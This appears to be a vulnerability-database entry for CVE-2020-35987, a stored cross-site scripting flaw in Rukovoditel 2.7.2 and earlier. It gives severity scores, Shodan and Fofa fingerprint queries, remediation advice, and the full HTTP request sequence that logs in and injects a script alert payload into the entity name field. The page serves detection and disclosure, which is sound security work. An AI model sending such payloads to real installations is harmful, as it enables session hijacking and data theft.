🔙 목록으로 돌아가기

CVE-2020-35987: Rukovoditel <= 2.7.2 - Cross-Site Scripting

TitleRukovoditel <= 2.7.2 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
RemediationUpgrade Rukovoditel to a version higher than 2.7.2 or apply the vendor-provided patch to mitigate the XSS vulnerability.
CVSS Score5.4
EPSS Score0.03657
CVE IDCVE-2020-35987
CWE IDCWE-79
Shodan Queryhttp.favicon.hash:-1499940355
Fofa Queryicon_hash=-1499940355
Tags cve cve2020 rukovoditel xss stored-xss authenticated vuln

🔍 Vulnerability Description

A stored cross site scripting (XSS) vulnerability in the ‘Entities List’ feature of Rukovoditel 2.7.2 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the ‘Name’ parameter.

🌐 HTTP Request

GET /index.php?module=users/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Connection: close
Accept-Encoding: gzip

POST /index.php?module=users/login&action=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.11
Connection: close
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

form_session_token=HPXJcY&username=hhNSAc&password=pX0l4G

POST /index.php?module=entities/&action=save HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 108
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

form_session_token=HPXJcY&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0&notes=test

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35987.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-35987.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A